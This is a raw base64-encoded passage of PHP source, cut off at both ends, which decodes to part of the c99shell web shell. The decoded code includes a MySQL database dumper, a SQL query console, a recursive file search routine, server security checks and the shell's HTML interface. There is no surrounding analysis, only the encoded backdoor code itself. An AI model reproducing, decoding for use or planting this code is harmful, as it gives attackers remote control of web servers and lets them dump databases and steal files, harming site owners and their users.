oZWxsLlNRTCB2LiAiLiRzaHZlci4iDQojIEhvbWUgcGFnZTogaHR0cDovL2NjdGVhbS5ydQ0KIw0KIyBIb3N0IHNldHRpbmdzOg0KIyBNeVNRTCB2ZXJzaW9uOiAoIi5teXNxbF9nZXRfc2VydmVyX2luZm8oKS4iKSBydW5uaW5nIG9uICIuJFNFUlZFUl9BRERSLiIgKCIuJFNFUlZFUl9OQU1FLiIpIi4iDQojIERhdGU6ICIuZGF0ZSgiZC5tLlkgSDppOnMiKS4iDQojICIuZ2V0aG9zdGJ5bmFtZSgkU0VSVkVSX0FERFIpLiIgKCIuJFNFUlZFUl9BRERSLiIpIi4iIGR1bXAgZGIgXCIiLiRkYi4iXCINCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiI7DQogJGMgPSBjb3VudCgkb25seXRhYnMpOw0KIGZvcmVhY2goJHRhYnMgYXMgJHRhYikNCiB7DQogIGlmICgoaW5fYXJyYXkoJHRhYiwkb25seXRhYnMpKSBvciAoISRjKSkNCiAgew0KICAgaWYgKCRhZGRfZHJvcCkgeyRvdXQgLj0gIkRST1AgVEFCTEUgSUYgRVhJU1RTIGAiLiR0YWIuImA7XG4iO30NCiAgIC8vIHJlY2lldmUgcXVlcnkgZm9yIGNyZWF0ZSB0YWJsZSBzdHJ1Y3R1cmUNCiAgICRyZXMgPSBteXNxbF9xdWVyeSgiU0hPVyBDUkVBVEUgVEFCTEUgYCIuJHRhYi4iYCIsICRzb2NrKTsNCiAgIGlmICghJHJlcykgeyRyZXRbImVyciJdW10gPSBteXNxbF9zbWFydGVycm9yKCk7fQ0KICAgZWxzZQ0KICAgew0KICAgICRyb3cgPSBteXNxbF9mZXRjaF9yb3coJHJlcyk7DQogICAgJG91dCAuPSAkcm93WyIxIl0uIjtcblxuIjsNCiAgICAvLyByZWNpZXZlIHRhYmxlIHZhcmlhYmxlcw0KICAgICRyZXMgPSBteXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSBgJHRhYmAiLCAkc29jayk7DQogICAgaWYgKG15c3FsX251bV9yb3dzKCRyZXMpID4gMCkNCiAgICB7DQogICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXNzb2MoJHJlcykpDQogICAgIHsNCiAgICAgICRrZXlzID0gaW1wbG9kZSgiYCwgYCIsIGFycmF5X2tleXMoJHJvdykpOw0KICAgICAgJHZhbHVlcyA9IGFycmF5X3ZhbHVlcygkcm93KTsNCiAgICAgIGZvcmVhY2goJHZhbHVlcyBhcyAkaz0+JHYpIHskdmFsdWVzWyRrXSA9IGFkZHNsYXNoZXMoJHYpO30gDQogICAgICAkdmFsdWVzID0gaW1wbG9kZSgiJywgJyIsICR2YWx1ZXMpOyANCiAgICAgICRzcWwgPSAiSU5TRVJUIElOVE8gYCR0YWJgKGAiLiRrZXlzLiJgKSBWQUxVRVMgKCciLiR2YWx1ZXMuIicpO1xuIjsgDQogICAgICAkb3V0IC49ICRzcWw7DQogICAgIH0gDQogICAgfQ0KICAgfQ0KICB9DQogfQ0KICRvdXQgLj0gIiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cblxuIjsNCiBpZiAoJGZpbGUpDQogew0KICAkZnAgPSBmb3BlbigkZmlsZSwgInciKTsgDQogIGlmICghJGZwKSB7JHJldFsiZXJyIl1bXSA9IDI7fQ0KICBlbHNlDQogIHsNCiAgIGZ3cml0ZSAoJGZwLCAkb3V0KTsNCiAgIGZjbG9zZSAoJGZwKTsNCiAgfQ0KIH0NCiBpZiAoJHByaW50KSB7aWYgKCRubDJicikge2VjaG8gbmwyYnIoJG91dCk7fSBlbHNlIHtlY2hvICRvdXQ7fX0NCiByZXR1cm4gJG91dDsNCn0NCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJteXNxbF9idWlsZHdoZXJlIikpDQp7DQpmdW5jdGlvbiBteXNxbF9idWlsZHdoZXJlKCRhcnJheSwkc2VwPSIgYW5kIiwkZnVuY3RzPWFycmF5KCkpDQp7DQogaWYgKCFpc19hcnJheSgkYXJyYXkpKSB7JGFycmF5ID0gYXJyYXkoKTt9DQogJHJlc3VsdCA9ICIiOw0KIGZvcmVhY2goJGFycmF5IGFzICRrPT4kdikNCiB7DQogICR2YWx1ZSA9ICIiOw0KICBpZiAoIWVtcHR5KCRmdW5jdHNbJGtdKSkgeyR2YWx1ZSAuPSAkZnVuY3RzWyRrXS4iKCI7fQ0KICAkdmFsdWUgLj0gIiciLmFkZHNsYXNoZXMoJHYpLiInIjsNCiAgaWYgKCFlbXB0eSgkZnVuY3RzWyRrXSkpIHskdmFsdWUgLj0gIikiO30NCiAgJHJlc3VsdCAuPSAiYCIuJGsuImAgPSAiLiR2YWx1ZS4kc2VwOw0KIH0NCiAkcmVzdWx0ID0gc3Vic3RyKCRyZXN1bHQsMCxzdHJsZW4oJHJlc3VsdCktc3RybGVuKCRzZXApKTsNCiByZXR1cm4gJHJlc3VsdDsNCn0NCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJteXNxbF9mZXRjaF9hbGwiKSkNCnsNCmZ1bmN0aW9uIG15c3FsX2ZldGNoX2FsbCgkcXVlcnksJHNvY2spDQp7DQogaWYgKCRzb2NrKSB7JHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCRxdWVyeSwkc29jayk7fQ0KIGVsc2UgeyRyZXN1bHQgPSBteXNxbF9xdWVyeSgkcXVlcnkpO30NCiAkYXJyYXkgPSBhcnJheSgpOw0KIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpIHskYXJyYXlbXSA9ICRyb3c7fQ0KIG15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOw0KIHJldHVybiAkYXJyYXk7DQp9DQp9DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygibXlzcWxfc21hcnRlcnJvciIpKQ0Kew0KZnVuY3Rpb24gbXlzcWxfc21hcnRlcnJvcigkdHlwZSwkc29jaykNCnsNCiBpZiAoJHNvY2spIHskZXJyb3IgPSBteXNxbF9lcnJvcigkc29jayk7fQ0KIGVsc2UgeyRlcnJvciA9IG15c3FsX2Vycm9yKCk7fQ0KICRlcnJvciA9IGh0bWxzcGVjaWFsY2hhcnMoJGVycm9yKTsNCiByZXR1cm4gJGVycm9yOw0KfQ0KfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoIm15c3FsX3F1ZXJ5X2Zvcm0iKSkNCnsNCmZ1bmN0aW9uIG15c3FsX3F1ZXJ5X2Zvcm0oKQ0Kew0KIGdsb2JhbCAkc3VibWl0LCRzcWxfYWN0LCRzcWxfcXVlcnksJHNxbF9xdWVyeV9yZXN1bHQsJHNxbF9jb25maXJtLCRzcWxfcXVlcnlfZXJyb3IsJHRibF9zdHJ1Y3Q7DQogaWYgKCgkc3VibWl0KSBhbmQgKCEkc3FsX3F1ZXJ5X3Jlc3VsdCkgYW5kICgkc3FsX2NvbmZpcm0pKSB7aWYgKCEkc3FsX3F1ZXJ5X2Vycm9yKSB7JHNxbF9xdWVyeV9lcnJvciA9ICJRdWVyeSB3YXMgZW1wdHkiO30gZWNobyAiPGI+RXJyb3I6PC9iPiA8YnI+Ii4kc3FsX3F1ZXJ5X2Vycm9yLiI8YnI+Ijt9DQogaWYgKCRzcWxfcXVlcnlfcmVzdWx0IG9yICghJHNxbF9jb25maXJtKSkgeyRzcWxfYWN0ID0gJHNxbF9nb3RvO30NCiBpZiAoKCEkc3VibWl0KSBvciAoJHNxbF9hY3QpKQ0KIHsNCiAgZWNobyAiPHRhYmxlIGJvcmRlcj0wPjx0cj48dGQ+PGZvcm0gYWN0aW9uPVwiIi4kc3FsX3N1cmwuIlwiIG5hbWU9XCJjOTlzaF9zcWxxdWVyeVwiIG1ldGhvZD1cIlBPU1RcIj48Yj4iOyBpZiAoKCRzcWxfcXVlcnkpIGFuZCAoISRzdWJtaXQpKSB7ZWNobyAiRG8geW91IHJlYWxseSB3YW50IHRvIjt9IGVsc2Uge2VjaG8gIlNRTC1RdWVyeSI7fSBlY2hvICI6PC9iPjxicj48YnI+PHRleHRhcmVhIG5hbWU9XCJzcWxfcXVlcnlcIiBjb2xzPVwiMTAwXCIgcm93cz1cIjEwXCI+Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcXVlcnkpLiI8L3RleHRhcmVhPjxicj48YnI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX2FjdFwiIHZhbHVlPVwicXVlcnlcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfdGJsXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF90YmwpLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzdWJtaXRcIiB2YWx1ZT1cIjFcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfZ290b1wiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZ290bykuIlwiPjxpbnB1dCB0eXBlPVwic3VibWl0XCIgbmFtZT1cInNxbF9jb25maXJtXCIgdmFsdWU9XCJZZXNcIj4mbmJzcDs8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiTm9cIj48L2Zvcm0+PC90ZD4iOw0KICBpZiAoJHRibF9zdHJ1Y3QpDQogIHsNCiAgIGVjaG8gIjx0ZCB2YWxpZ249XCJ0b3BcIj48Yj5GaWVsZHM6PC9iPjxicj4iOw0KICAgZm9yZWFjaCAoJHRibF9zdHJ1Y3QgYXMgJGZpZWxkKSB7JG5hbWUgPSAkZmllbGRbIkZpZWxkIl07IGVjaG8gIrsgPGEgaHJlZj1cIiNcIiBvbmNsaWNrPVwiZG9jdW1lbnQuYzk5c2hfc3FscXVlcnkuc3FsX3F1ZXJ5LnZhbHVlKz0nYCIuJG5hbWUuImAnO1wiPjxiPiIuJG5hbWUuIjwvYj48L2E+PGJyPiI7fQ0KICAgZWNobyAiPC90ZD48L3RyPjwvdGFibGU+IjsNCiAgfQ0KIH0NCiBpZiAoJHNxbF9xdWVyeV9yZXN1bHQgb3IgKCEkc3FsX2NvbmZpcm0pKSB7JHNxbF9xdWVyeSA9ICRzcWxfbGFzdF9xdWVyeTt9DQp9DQp9DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygibXlzcWxfY3JlYXRlX2RiIikpDQp7DQpmdW5jdGlvbiBteXNxbF9jcmVhdGVfZGIoJGRiLCRzb2NrPSIiKQ0Kew0KICRzcWwgPSAiQ1JFQVRFIERBVEFCQVNFIGAiLmFkZHNsYXNoZXMoJGRiKS4iYDsiOw0KIGlmICgkc29jaykge3JldHVybiBteXNxbF9xdWVyeSgkc3FsLCRzb2NrKTt9DQogZWxzZSB7cmV0dXJuIG15c3FsX3F1ZXJ5KCRzcWwpO30NCn0NCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJteXNxbF9xdWVyeV9wYXJzZSIpKQ0Kew0KZnVuY3Rpb24gbXlzcWxfcXVlcnlfcGFyc2UoJHF1ZXJ5KQ0Kew0KICRxdWVyeSA9IHRyaW0oJHF1ZXJ5KTsNCiAkYXJyID0gZXhwbG9kZSAoIiAiLCRxdWVyeSk7DQogLyphcnJheSBhcnJheSgpDQogew0KICAiTUVUSE9EIj0+YXJyYXkob3V0cHV0X3R5cGUpLA0KICAiTUVUSE9EMSIuLi4NCiAgLi4uDQogfQ0KIGlmIG91dHB1dF90eXBlID09IDAsIG5vIG91dHB1dCwNCiBpZiBvdXRwdXRfdHlwZSA9PSAxLCBubyBvdXRwdXQgaWYgbm8gZXJyb3INCiBpZiBvdXRwdXRfdHlwZSA9PSAyLCBvdXRwdXQgd2l0aG91dCBjb250cm9sLWJ1dHRvbnMNCiBpZiBvdXRwdXRfdHlwZSA9PSAzLCBvdXRwdXQgd2l0aCBjb250cm9sLWJ1dHRvbnMNCiAqLw0KICR0eXBlcyA9IGFycmF5KA0KICAiU0VMRUNUIj0+YXJyYXkoMywxKSwNCiAgIlNIT1ciPT5hcnJheSgyLDEpLA0KICAiREVMRVRFIj0+YXJyYXkoMSksDQogICJEUk9QIj0+YXJyYXkoMSkNCiApOw0KICRyZXN1bHQgPSBhcnJheSgpOw0KICRvcCA9IHN0cnRvdXBwZXIoJGFyclswXSk7DQogaWYgKGlzX2FycmF5KCR0eXBlc1skb3BdKSkNCiB7DQogICRyZXN1bHRbInByb3BlcnRpb25zIl0gPSAkdHlwZXNbJG9wXTsNCiAgJHJlc3VsdFsicXVlcnkiXSAgPSAkcXVlcnk7DQogIGlmICgkdHlwZXNbJG9wXSA9PSAyKQ0KICB7DQogICBmb3JlYWNoKCRhcnIgYXMgJGs9PiR2KQ0KICAgew0KICAgIGlmIChzdHJ0b3VwcGVyKCR2KSA9PSAiTElNSVQiKQ0KICAgIHsNCiAgICAgJHJlc3VsdFsibGltaXQiXSA9ICRhcnJbJGsrMV07DQogICAgICRyZXN1bHRbImxpbWl0Il0gPSBleHBsb2RlKCIsIiwkcmVzdWx0WyJsaW1pdCJdKTsNCiAgICAgaWYgKGNvdW50KCRyZXN1bHRbImxpbWl0Il0pID09IDEpIHskcmVzdWx0WyJsaW1pdCJdID0gYXJyYXkoMCwkcmVzdWx0WyJsaW1pdCJdWzBdKTt9DQogICAgIHVuc2V0KCRhcnJbJGtdLCRhcnJbJGsrMV0pOw0KICAgIH0NCiAgIH0NCiAgfQ0KIH0NCiBlbHNlIHtyZXR1cm4gZmFsc2U7fQ0KfQ0KfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoImM5OWZzZWFyY2giKSkNCnsNCmZ1bmN0aW9uIGM5OWZzZWFyY2goJGQpDQp7DQogZ2xvYmFsICRmb3VuZDsNCiBnbG9iYWwgJGZvdW5kX2Q7DQogZ2xvYmFsICRmb3VuZF9mOw0KIGdsb2JhbCAkc2VhcmNoX2lfZjsNCiBnbG9iYWwgJHNlYXJjaF9pX2Q7DQogZ2xvYmFsICRhOw0KIGlmIChzdWJzdHIoJGQsLTEsMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyRkIC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fQ0KICRoID0gb3BlbmRpcigkZCk7DQogd2hpbGUgKCgkZiA9IHJlYWRkaXIoJGgpKSAhPT0gZmFsc2UpDQogew0KICBpZigkZiAhPSAiLiIgJiYgJGYgIT0gIi4uIikNCiAgew0KICAgJGJvb2wgPSAoZW1wdHkoJGFbIm5hbWVfcmVnZXhwIl0pIGFuZCBzdHJwb3MoJGYsJGFbIm5hbWUiXSkgIT09IGZhbHNlKSB8fCAoJGFbIm5hbWVfcmVnZXhwIl0gYW5kIGVyZWcoJGFbIm5hbWUiXSwkZikpOw0KICAgaWYgKGlzX2RpcigkZC4kZikpDQogICB7DQogICAgJHNlYXJjaF9pX2QrKzsNCiAgICBpZiAoZW1wdHkoJGFbInRleHQiXSkgYW5kICRib29sKSB7JGZvdW5kW10gPSAkZC4kZjsgJGZvdW5kX2QrKzt9DQogICAgaWYgKCFpc19saW5rKCRkLiRmKSkge2M5OWZzZWFyY2goJGQuJGYpO30NCiAgIH0NCiAgIGVsc2UNCiAgIHsNCiAgICAkc2VhcmNoX2lfZisrOw0KICAgIGlmICgkYm9vbCkNCiAgICB7DQogICAgIGlmICghZW1wdHkoJGFbInRleHQiXSkpDQogICAgIHsNCiAgICAgICRyID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRkLiRmKTsNCiAgICAgIGlmICgkYVsidGV4dF93d28iXSkgeyRhWyJ0ZXh0Il0gPSAiICIudHJpbSgkYVsidGV4dCJdKS4iICI7fQ0KICAgICAgaWYgKCEkYVsidGV4dF9jcyJdKSB7JGFbInRleHQiXSA9IHN0cnRvbG93ZXIoJGFbInRleHQiXSk7ICRyID0gc3RydG9sb3dlcigkcik7fQ0KICAgICAgaWYgKCRhWyJ0ZXh0X3JlZ2V4cCJdKSB7JGJvb2wgPSBlcmVnKCRhWyJ0ZXh0Il0sJHIpO30NCiAgICAgIGVsc2UgeyRib29sID0gc3RycG9zKCIgIi4kciwkYVsidGV4dCJdLDEpO30NCiAgICAgIGlmICgkYVsidGV4dF9ub3QiXSkgeyRib29sID0gISRib29sO30NCiAgICAgIGlmICgkYm9vbCkgeyRmb3VuZFtdID0gJGQuJGY7ICRmb3VuZF9mKys7fQ0KICAgICB9DQogICAgIGVsc2UgeyRmb3VuZFtdID0gJGQuJGY7ICRmb3VuZF9mKys7fQ0KICAgIH0NCiAgIH0NCiAgfQ0KIH0NCiBjbG9zZWRpcigkaCk7DQp9DQp9DQppZiAoJGFjdCA9PSAiZ29maWxlIikge2lmIChpc19kaXIoJGYpKSB7JGFjdCA9ICJscyI7ICRkID0gJGY7fSBlbHNlIHskYWN0ID0gImYiOyAkZCA9IGRpcm5hbWUoJGYpOyAkZiA9IGJhc2VuYW1lKCRmKTt9fQ0KLy9TZW5kaW5nIGhlYWRlcnMNCmhlYWRlcigiRXhwaXJlczogTW9uLCAyNiBKdWwgMTk5NyAwNTowMDowMCBHTVQiKTsNCmhlYWRlcigiTGFzdC1Nb2RpZmllZDogIi5nbWRhdGUoIkQsIGQgTSBZIEg6aTpzIikuIiBHTVQiKTsNCmhlYWRlcigiQ2FjaGUtQ29udHJvbDogbm8tc3RvcmUsIG5vLWNhY2hlLCBtdXN0LXJldmFsaWRhdGUiKTsNCmhlYWRlcigiQ2FjaGUtQ29udHJvbDogcG9zdC1jaGVjaz0wLCBwcmUtY2hlY2s9MCIsIGZhbHNlKTsNCmhlYWRlcigiUHJhZ21hOiBuby1jYWNoZSIpOw0KaWYgKGVtcHR5KCR0bXBkaXIpKQ0Kew0KIGlmICghJHdpbikgeyR0bXBkaXIgPSAiL3RtcC8iO30NCiBlbHNlIHskdG1wZGlyID0gZ2V0ZW52KCJTeXN0ZW1Sb290Iik7fQ0KfQ0KZWxzZSB7JHRtcGRpciA9IHJlYWxwYXRoKCR0bXBkaXIpO30NCiR0bXBkaXIgPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJHRtcGRpcik7DQppZiAoc3Vic3RyKCR0bXBkaXIsLTEsMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyR0bXBkaXIgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9DQppZiAoZW1wdHkoJHRtcGRpcl9sb2dzKSkgeyR0bXBkaXJfbG9ncyA9ICR0bXBkaXI7fQ0KZWxzZSB7JHRtcGRpcl9sb2dzID0gcmVhbHBhdGgoJHRtcGRpcl9sb2dzKTt9DQppZiAoQGluaV9nZXQoInNhZmVfbW9kZSIpIG9yIHN0cnRvbG93ZXIoQGluaV9nZXQoInNhZmVfbW9kZSIpKSA9PSAib24iKQ0Kew0KICRzYWZlbW9kZSA9IHRydWU7DQogJGhzYWZlbW9kZSA9ICI8Zm9udCBjb2xvcj1cInJlZFwiPk9OIChzZWN1cmUpPC9mb250PiI7DQp9DQplbHNlIHskc2FmZW1vZGUgPSBmYWxzZTsgJGhzYWZlbW9kZSA9ICI8Zm9udCBjb2xvcj1cImdyZWVuXCI+T0ZGIChub3Qgc2VjdXJlKTwvZm9udD4iO30NCiR2ID0gQGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOw0KaWYgKCR2IG9yIHN0cnRvbG93ZXIoJHYpID09ICJvbiIpIHskb3BlbmJhc2VkaXIgPSB0cnVlOyAkaG9wZW5iYXNlZGlyID0gIjxmb250IGNvbG9yPVwicmVkXCI+Ii4kdi4iPC9mb250PiI7fQ0KZWxzZSB7JG9wZW5iYXNlZGlyID0gZmFsc2U7ICRob3BlbmJhc2VkaXIgPSAiPGZvbnQgY29sb3I9XCJncmVlblwiPk9GRiAobm90IHNlY3VyZSk8L2ZvbnQ+Ijt9DQokc29ydCA9IGh0bWxzcGVjaWFsY2hhcnMoJHNvcnQpOw0KaWYgKGVtcHR5KCRzb3J0KSkgeyRzb3J0ID0gJHNvcnRfZGVmYXVsdDt9DQokc29ydFsxXSA9IHN0cnRvbG93ZXIoJHNvcnRbMV0pOw0KJERJU1BfU0VSVkVSX1NPRlRXQVJFID0gZ2V0ZW52KCJTRVJWRVJfU09GVFdBUkUiKTsNCmlmICghZXJlZygiUEhQLyIucGhwdmVyc2lvbigpLCRESVNQX1NFUlZFUl9TT0ZUV0FSRSkpIHskRElTUF9TRVJWRVJfU09GVFdBUkUgLj0gIi4gUEhQLyIucGhwdmVyc2lvbigpO30NCiRESVNQX1NFUlZFUl9TT0ZUV0FSRSA9IHN0cl9yZXBsYWNlKCJQSFAvIi5waHB2ZXJzaW9uKCksIjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9cGhwaW5mb1wiIHRhcmdldD1cIl9ibGFua1wiPjxiPjx1PlBIUC8iLnBocHZlcnNpb24oKS4iPC91PjwvYj48L2E+IixodG1sc3BlY2lhbGNoYXJzKCRESVNQX1NFUlZFUl9TT0ZUV0FSRSkpOw0KQGluaV9zZXQoImhpZ2hsaWdodC5iZyIsJGhpZ2hsaWdodF9iZyk7IC8vRkZGRkZGCQ0KQGluaV9zZXQoImhpZ2hsaWdodC5jb21tZW50IiwkaGlnaGxpZ2h0X2NvbW1lbnQpOyAvLyNGRjgwMDAJDQpAaW5pX3NldCgiaGlnaGxpZ2h0LmRlZmF1bHQiLCRoaWdobGlnaHRfZGVmYXVsdCk7IC8vIzAwMDBCQgkNCkBpbmlfc2V0KCJoaWdobGlnaHQuaHRtbCIsJGhpZ2hsaWdodF9odG1sKTsgLy8jMDAwMDAwCQ0KQGluaV9zZXQoImhpZ2hsaWdodC5rZXl3b3JkIiwkaGlnaGxpZ2h0X2tleXdvcmQpOyAvLyMwMDc3MDAJDQpAaW5pX3NldCgiaGlnaGxpZ2h0LnN0cmluZyIsJGhpZ2hsaWdodF9zdHJpbmcpOyAvLyNERDAwMDANCmlmICghaXNfYXJyYXkoJGFjdGJveCkpIHskYWN0Ym94ID0gYXJyYXkoKTt9DQokZHNwYWN0ID0gJGFjdCA9IGh0bWxzcGVjaWFsY2hhcnMoJGFjdCk7DQokZGlzcF9mdWxscGF0aCA9ICRsc19hcnIgPSAkbm90bHMgPSBudWxsOw0KJHVkID0gdXJsZW5jb2RlKCRkKTsNCj8+PGh0bWw+PGhlYWQ+PG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9d2luZG93cy0xMjUxIj48bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LUxhbmd1YWdlIiBjb250ZW50PSJlbi11cyI+PHRpdGxlPjw/cGhwIGVjaG8gZ2V0ZW52KCJIVFRQX0hPU1QiKTsgPz4gLSBjOTlzaGVsbDwvdGl0bGU+PFNUWUxFPlREIHsgRk9OVC1TSVpFOiA4cHQ7IENPTE9SOiAjZWJlYmViOyBGT05ULUZBTUlMWTogdmVyZGFuYTt9Qk9EWSB7IHNjcm9sbGJhci1mYWNlLWNvbG9yOiAjODAwMDAwOyBzY3JvbGxiYXItc2hhZG93LWNvbG9yOiAjMTAxMDEwOyBzY3JvbGxiYXItaGlnaGxpZ2h0LWNvbG9yOiAjMTAxMDEwOyBzY3JvbGxiYXItM2RsaWdodC1jb2xvcjogIzEwMTAxMDsgc2Nyb2xsYmFyLWRhcmtzaGFkb3ctY29sb3I6ICMxMDEwMTA7IHNjcm9sbGJhci10cmFjay1jb2xvcjogIzEwMTAxMDsgc2Nyb2xsYmFyLWFycm93LWNvbG9yOiAjMTAxMDEwOyBmb250LWZhbWlseTogVmVyZGFuYTt9VEQuaGVhZGVyIHsgRk9OVC1XRUlHSFQ6IG5vcm1hbDsgRk9OVC1TSVpFOiAxMHB0OyBCQUNLR1JPVU5EOiAjN2Q3NDc0OyBDT0xPUjogd2hpdGU7IEZPTlQtRkFNSUxZOiB2ZXJkYW5hO31BIHsgRk9OVC1XRUlHSFQ6IG5vcm1hbDsgQ09MT1I6ICNkYWRhZGE7IEZPTlQtRkFNSUxZOiB2ZXJkYW5hOyBURVhULURFQ09SQVRJT046IG5vbmU7fUE6dW5rbm93biB7IEZPTlQtV0VJR0hUOiBub3JtYWw7IENPTE9SOiAjZmZmZmZmOyBGT05ULUZBTUlMWTogdmVyZGFuYTsgVEVYVC1ERUNPUkFUSU9OOiBub25lO31BLkxpbmtzIHsgQ09MT1I6ICNmZmZmZmY7IFRFWFQtREVDT1JBVElPTjogbm9uZTt9QS5MaW5rczp1bmtub3duIHsgRk9OVC1XRUlHSFQ6IG5vcm1hbDsgQ09MT1I6ICNmZmZmZmY7IFRFWFQtREVDT1JBVElPTjogbm9uZTt9QTpob3ZlciB7IENPTE9SOiAjZmZmZmZmOyBURVhULURFQ09SQVRJT046IHVuZGVybGluZTt9LnNraW4we3Bvc2l0aW9uOmFic29sdXRlOyB3aWR0aDoyMDBweDsgYm9yZGVyOjJweCBzb2xpZCBibGFjazsgYmFja2dyb3VuZC1jb2xvcjptZW51OyBmb250LWZhbWlseTpWZXJkYW5hOyBsaW5lLWhlaWdodDoyMHB4OyBjdXJzb3I6ZGVmYXVsdDsgdmlzaWJpbGl0eTpoaWRkZW47O30uc2tpbjF7Y3Vyc29yOiBkZWZhdWx0OyBmb250OiBtZW51dGV4dDsgcG9zaXRpb246IGFic29sdXRlOyB3aWR0aDogMTQ1cHg7IGJhY2tncm91bmQtY29sb3I6IG1lbnU7IGJvcmRlcjogMSBzb2xpZCBidXR0b25mYWNlO3Zpc2liaWxpdHk6aGlkZGVuOyBib3JkZXI6IDIgb3V0c2V0IGJ1dHRvbmhpZ2hsaWdodDsgZm9udC1mYW1pbHk6IFZlcmRhbmEsR2VuZXZhLCBBcmlhbDsgZm9udC1zaXplOiAxMHB4OyBjb2xvcjogYmxhY2s7fS5tZW51aXRlbXN7cGFkZGluZy1sZWZ0OjE1cHg7IHBhZGRpbmctcmlnaHQ6MTBweDs7fWlucHV0e2JhY2tncm91bmQtY29sb3I6ICM4MDAwMDA7IGZvbnQtc2l6ZTogOHB0OyBjb2xvcjogI0ZGRkZGRjsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxIHNvbGlkICM2NjY2NjY7fXRleHRhcmVhe2JhY2tncm91bmQtY29sb3I6ICM4MDAwMDA7IGZvbnQtc2l6ZTogOHB0OyBjb2xvcjogI0ZGRkZGRjsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxIHNvbGlkICM2NjY2NjY7fWJ1dHRvbntiYWNrZ3JvdW5kLWNvbG9yOiAjODAwMDAwOyBmb250LXNpemU6IDhwdDsgY29sb3I6ICNGRkZGRkY7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMSBzb2xpZCAjNjY2NjY2O31zZWxlY3R7YmFja2dyb3VuZC1jb2xvcjogIzgwMDAwMDsgZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjRkZGRkZGOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDEgc29saWQgIzY2NjY2Njt9b3B0aW9uIHtiYWNrZ3JvdW5kLWNvbG9yOiAjODAwMDAwOyBmb250LXNpemU6IDhwdDsgY29sb3I6ICNGRkZGRkY7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMSBzb2xpZCAjNjY2NjY2O31pZnJhbWUge2JhY2tncm91bmQtY29sb3I6ICM4MDAwMDA7IGZvbnQtc2l6ZTogOHB0OyBjb2xvcjogI0ZGRkZGRjsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxIHNvbGlkICM2NjY2NjY7fXAge01BUkdJTi1UT1A6IDBweDsgTUFSR0lOLUJPVFRPTTogMHB4OyBMSU5FLUhFSUdIVDogMTUwJX1ibG9ja3F1b3RleyBmb250LXNpemU6IDhwdDsgZm9udC1mYW1pbHk6IENvdXJpZXIsIEZpeGVkLCBBcmlhbDsgYm9yZGVyIDogOHB4IHNvbGlkICNBOUE5QTk7IHBhZGRpbmc6IDFlbTsgbWFyZ2luLXRvcDogMWVtOyBtYXJnaW4tYm90dG9tOiA1ZW07IG1hcmdpbi1yaWdodDogM2VtOyBtYXJnaW4tbGVmdDogNGVtOyBiYWNrZ3JvdW5kLWNvbG9yOiAjQjdCMkIwO31ib2R5LHRkLHRoIHsgZm9udC1mYW1pbHk6IHZlcmRhbmE7IGNvbG9yOiAjZDlkOWQ5OyBmb250LXNpemU6IDExcHg7fWJvZHkgeyBiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwO308L3N0eWxlPjwvaGVhZD48Qk9EWSB0ZXh0PSNmZmZmZmYgYm90dG9tTWFyZ2luPTAgYmdDb2xvcj0jMDAwMDAwIGxlZnRNYXJnaW49MCB0b3BNYXJnaW49MCByaWdodE1hcmdpbj0wIG1hcmdpbmhlaWdodD0wIG1hcmdpbndpZHRoPTA+PGNlbnRlcj48VEFCTEUgc3R5bGU9IkJPUkRFUi1DT0xMQVBTRTogY29sbGFwc2UiIGhlaWdodD0xIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM2NjY2NjYgY2VsbFBhZGRpbmc9NSB3aWR0aD0iMTAwJSIgYmdDb2xvcj0jMzMzMzMzIGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBjMCBib3JkZXI9MSBib3JkZXJjb2xvcj0iI0MwQzB